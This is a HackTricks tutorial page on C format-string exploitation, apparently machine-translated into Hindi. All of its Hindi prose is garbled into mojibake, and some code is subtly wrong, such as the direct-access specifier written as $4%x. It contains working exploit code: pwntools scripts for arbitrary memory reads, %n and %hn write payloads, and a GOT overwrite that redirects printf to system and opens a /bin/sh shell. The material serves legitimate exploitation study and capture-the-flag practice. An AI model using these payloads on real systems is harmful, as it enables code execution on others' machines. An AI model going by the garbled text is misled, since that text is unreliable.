hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md

16 KiB

Format Strings

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

C рдореЗрдВ printf рдПрдХ рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреБрдЫ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдкреНрд░рд┐рдВрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреА рдкрд╣рд▓реА рдкреИрд░рд╛рдореАрдЯрд░ рдЬреЛ рдЕрдкреЗрдХреНрд╖рд┐рдд рд╣реИ рд╡рд╣ рд╣реИ рдлреЙрд░реНрдореЗрдЯрд░реНрд╕ рдХреЗ рд╕рд╛рде рдХрдЪреНрдЪрд╛ рдЯреЗрдХреНрд╕реНрдЯред рдЕрдЧрд▓реА рдкреИрд░рд╛рдореАрдЯрд░ рдЬреЛ рдЕрдкреЗрдХреНрд╖рд┐рдд рд╣реИрдВ рд╡реЗ рд╣реИрдВ рдХрдЪреНрдЪреЗ рдЯреЗрдХреНрд╕реНрдЯ рд╕реЗ рдлреЙрд░реНрдореЗрдЯрд░реНрд╕ рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╛рдиред

рдХрдордЬреЛрд░реА рддрдм рдкреНрд░рдХрдЯ рд╣реЛрддреА рд╣реИ рдЬрдм рд╣рдорд▓рд╛рд╡рд░ рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрд╣рд▓реЗ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЗрдирдкреБрдЯ рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ рдЬреЛ printf рдлреЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рднреА рдкрддреЗ (рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп/рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп) рдореЗрдВ рдХреЛрдИ рднреА рдбреЗрдЯрд╛ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдПред рдЗрд╕ рддрд░рд╣ рд╕реЗ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ред

Formatters:

%08x тАФ> 8 hex bytes
%d тАФ> Entire
%u тАФ> Unsigned
%s тАФ> String
%n тАФ> Number of written bytes
%hn тАФ> Occupies 2 bytes instead of 4
<n>$X тАФ> Direct access, Example: ("%3$d", var1, var2, var3) тАФ> Access to var3

рдЙрджрд╛рд╣рд░рдг:

  • рдХрдордЬреЛрд░ рдЙрджрд╛рд╣рд░рдг:
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • рд╕рд╛рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧ:
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • рдЧрд╛рдпрдм рддрд░реНрдХреЛрдВ рдХреЗ рд╕рд╛рде:
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.

Pointers рддрдХ рдкрд╣реБрдБрдЪрдирд╛

рдлреЙрд░реНрдореЗрдЯ %<n>$x, рдЬрд╣рд╛рдБ n рдПрдХ рд╕рдВрдЦреНрдпрд╛ рд╣реИ, printf рдХреЛ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ n рдкреИрд░рд╛рдореАрдЯрд░ (рд╕реНрдЯреИрдХ рд╕реЗ) рдХрд╛ рдЪрдпрди рдХрд░реЗрдВред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк printf рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрдЯреИрдХ рд╕реЗ 4рд╡реЗрдВ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдкрдврд╝рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

printf("%x %x %x %x")

рдФрд░ рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рдЪреМрдереЗ рдкреИрд░рд╛рдореАрдЯрд░ рддрдХ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВред

рдпрд╛ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

printf("$4%x")

рдФрд░ рд╕реАрдзреЗ рдЪреМрдереЗ рдХреЛ рдкрдврд╝реЗрдВред

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ printf рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдЙрд╕рдХрд╛ рдЗрдирдкреБрдЯ printf рдХреЗ рдХреЙрд▓ рд╣реЛрдиреЗ рдкрд░ рд╕реНрдЯреИрдХ рдореЗрдВ рд╣реЛрдЧрд╛, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд╡рд╣ рд╕реНрдЯреИрдХ рдореЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдореЗрдореЛрд░реА рдкрддреЗ рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реИред

{% hint style="danger" %} рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЬреЛ рдЗрд╕ рдЗрдирдкреБрдЯ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ, рд╡рд╣ рд╕реНрдЯреИрдХ рдореЗрдВ рдордирдорд╛рдиреЗ рдкрддреЗ рдЬреЛрдбрд╝рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ рдФрд░ printf рдХреЛ рдЙрдиреНрд╣реЗрдВ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХреЗрдЧрд╛ред рдЕрдЧрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рдП, рдпрд╣ рд╕рдордЭрд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ред {% endhint %}

рдордирдорд╛рдирд╛ рдкрдврд╝рдирд╛

рдлреЙрд░реНрдореЗрдЯрд░ $n%s рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рддрд╛рдХрд┐ printf n рд╕реНрдерд┐рддрд┐ рдореЗрдВ рд╕реНрдерд┐рдд рдкрддреЗ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗ, рдЙрд╕рдХреЗ рдмрд╛рдж рдФрд░ рдЗрд╕реЗ рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рд┐рдВрдЯ рдХрд░ рд╕рдХреЗ (рдЬрдм рддрдХ 0x00 рдирд╣реАрдВ рдорд┐рд▓рддрд╛)ред рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдмрд╛рдЗрдирд░реА рдХрд╛ рдмреЗрд╕ рдкрддрд╛ 0x8048000 рд╣реИ, рдФрд░ рд╣рдо рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рд╕реНрдЯреИрдХ рдореЗрдВ рдЪреМрдереЗ рд╕реНрдерд╛рди рдкрд░ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдмрд╛рдЗрдирд░реА рдХреА рд╢реБрд░реБрдЖрдд рдХреЛ рдкреНрд░рд┐рдВрдЯ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ:

from pwn import *

p = process('./bin')

payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

{% hint style="danger" %} рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рдЗрдирдкреБрдЯ рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ 0x8048000 рдХрд╛ рдкрддрд╛ рдирд╣реАрдВ рдбрд╛рд▓ рд╕рдХрддреЗ рдХреНрдпреЛрдВрдХрд┐ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдЙрд╕ рдкрддреЗ рдХреЗ рдЕрдВрдд рдореЗрдВ 0x00 рдкрд░ рдХрдЯ рдЬрд╛рдПрдЧреАред {% endhint %}

рдордирдорд╛рдирд╛ рд▓реЗрдЦрди

рдлреЙрд░реНрдореЗрдЯрд░ $<num>%n рд▓рд┐рдЦрддрд╛ рд╣реИ рд▓рд┐рдЦреЗ рдЧрдП рдмрд╛рдЗрдЯреНрд╕ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреЛ рд╕рдВрдХреЗрддрд┐рдд рдкрддреЗ рдореЗрдВ <num> рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рд╕реНрдЯреИрдХ рдореЗрдВред рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ printf рдХреЗ рд╕рд╛рде рдЬрд┐рддрдиреЗ рдЪрд╛рд╣реЗрдВ рдЙрддрдиреЗ рдЕрдХреНрд╖рд░ рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рд╡рд╣ $<num>%n рдХреЛ рдПрдХ рдордирдорд╛рдирд╛ рд╕рдВрдЦреНрдпрд╛ рдПрдХ рдордирдорд╛рдиреЗ рдкрддреЗ рдкрд░ рд▓рд┐рдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ред

рднрд╛рдЧреНрдпрд╡рд╢, рд╕рдВрдЦреНрдпрд╛ 9999 рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП, рдЗрдирдкреБрдЯ рдореЗрдВ 9999 "A"s рдЬреЛрдбрд╝рдирд╛ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИ, рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлреЙрд░реНрдореЗрдЯрд░ %.<num-write>%<num>$n рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдВрдЦреНрдпрд╛ <num-write> рдХреЛ num рд╕реНрдерд┐рддрд┐ рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЧрд┐рдд рдкрддреЗ рдореЗрдВ рд▓рд┐рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

AAAA%.6000d%4\$n тАФ> Write 6004 in the address indicated by the 4┬║ param
AAAA.%500\$08x тАФ> Param at offset 500

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдорддреМрд░ рдкрд░ рдПрдХ рдкрддрд╛ рдЬреИрд╕реЗ 0x08049724 (рдЬреЛ рдПрдХ рдмрд╛рд░ рдореЗрдВ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ HUGE рд╕рдВрдЦреНрдпрд╛ рд╣реИ) рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП, $hn рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдмрдЬрд╛рдп $n рдХреЗред рдпрд╣ рдХреЗрд╡рд▓ 2 рдмрд╛рдЗрдЯреНрд╕ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдпрд╣ рдСрдкрд░реЗрд╢рди рджреЛ рдмрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдПрдХ рдмрд╛рд░ рдкрддреЗ рдХреЗ рдЙрдЪреНрдЪрддрдо 2B рдХреЗ рд▓рд┐рдП рдФрд░ рджреВрд╕рд░реА рдмрд╛рд░ рдирд┐рдореНрдирддрдо рдХреЗ рд▓рд┐рдПред

рдЗрд╕рд▓рд┐рдП, рдпрд╣ рднреЗрджреНрдпрддрд╛ рдХрд┐рд╕реА рднреА рдкрддреЗ рдореЗрдВ рдХреБрдЫ рднреА рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ (рдордирдорд╛рдирд╛ рд▓реЗрдЦрди)ред

рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рд▓рдХреНрд╖реНрдп рдпрд╣ рд╣реЛрдЧрд╛ рдХрд┐ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрддреЗ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдП рдЬреЛ рдмрд╛рдж рдореЗрдВ GOT рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рдЕрдиреНрдп рдордирдорд╛рдиреЗ рд▓реЗрдЦрди рдХреЛ exec рддрдХрдиреАрдХреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ:

{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}

рд╣рдо рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдЕрдкрдиреЗ рдЖрд░реНрдЧреБрдореЗрдВрдЯреНрд╕ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ system рдлрд╝рдВрдХреНрд╢рди рдХреА рдУрд░ рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИред
рдЬреИрд╕рд╛ рдХрд┐ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдкрддреЗ рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдорддреМрд░ рдкрд░ 2 рдЪрд░рдгреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ: рдЖрдк рдкрд╣рд▓реЗ 2Bytes рдХрд╛ рдкрддрд╛ рд▓рд┐рдЦрддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рдЕрдиреНрдп 2ред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП $hn рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

  • HOB рдХреЛ рдкрддреЗ рдХреЗ 2 рдЙрдЪреНрдЪ рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ
  • LOB рдХреЛ рдкрддреЗ рдХреЗ 2 рдирд┐рдореНрди рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ

рдлрд┐рд░, рдлрд╝реЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЗ рдХрд╛рд░рдг, рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рд╕рдмрд╕реЗ рдЫреЛрдЯреЗ [HOB, LOB] рдХреЛ рд▓рд┐рдЦрдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдлрд┐рд░ рджреВрд╕рд░реЗ рдХреЛред

рдпрджрд┐ HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

рдпрджрд┐ HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 N┬║Param_dir_HOB LOB_shell-HOB_shell N┬║Param_dir_LOB

{% code overflow="wrap" %}

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

{% endcode %}

Pwntools рдЯреЗрдореНрдкрд▓реЗрдЯ

рдЖрдк рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЯреЗрдореНрдкрд▓реЗрдЯ рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

рдпрд╛ рдЗрд╕ рдмреБрдирд┐рдпрд╛рджреА рдЙрджрд╛рд╣рд░рдг рдХреЛ рдпрд╣рд╛рдБ рд╕реЗ:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

рдЕрдиреНрдп рдЙрджрд╛рд╣рд░рдг рдФрд░ рд╕рдВрджрд░реНрдн

  • https://ir0nstone.gitbook.io/notes/types/stack/format-string
  • https://www.youtube.com/watch?v=t1LH9D5cuK4
  • https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
  • 32 рдмрд┐рдЯ, рдХреЛрдИ relro рдирд╣реАрдВ, рдХреЛрдИ canary рдирд╣реАрдВ, nx, рдХреЛрдИ pie рдирд╣реАрдВ, рд╕реНрдЯреИрдХ рд╕реЗ рдлреНрд▓реИрдЧ рд▓реАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлреЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ рдмреБрдирд┐рдпрд╛рджреА рдЙрдкрдпреЛрдЧ (рдХрд╛рд░реНрдп рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ)
  • https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
  • 32 рдмрд┐рдЯ, relro, рдХреЛрдИ canary рдирд╣реАрдВ, nx, рдХреЛрдИ pie рдирд╣реАрдВ, fflush рдХреЗ рдкрддреЗ рдХреЛ рдЬреАрддрдиреЗ рдХреЗ рдлрд╝рдВрдХреНрд╢рди (ret2win) рдХреЗ рд╕рд╛рде рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлреЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ
  • https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
  • 32 рдмрд┐рдЯ, relro, рдХреЛрдИ canary рдирд╣реАрдВ, nx, рдХреЛрдИ pie рдирд╣реАрдВ, .fini_array рдореЗрдВ рдореБрдЦреНрдп рдХреЗ рдЕрдВрджрд░ рдПрдХ рдкрддреЗ рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдлреЙрд░реНрдореЗрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ (рддрд╛рдХрд┐ рдкреНрд░рд╡рд╛рд╣ рдПрдХ рдмрд╛рд░ рдФрд░ рд▓реВрдк рд╣реЛ) рдФрд░ strlen рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддреЗ рд╣реБрдП GOT рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ system рдХреЗ рдкрддреЗ рдХреЛ рд▓рд┐рдЦреЗрдВред рдЬрдм рдкреНрд░рд╡рд╛рд╣ рдореБрдЦреНрдп рдореЗрдВ рд╡рд╛рдкрд╕ рдЬрд╛рддрд╛ рд╣реИ, strlen рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреЗ рд╕рд╛рде рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИ рдФрд░ system рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рдкрд╛рд╕ рдХрд┐рдП рдЧрдП рдЖрджреЗрд╢реЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ред

{% hint style="success" %} AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
{% endhint %}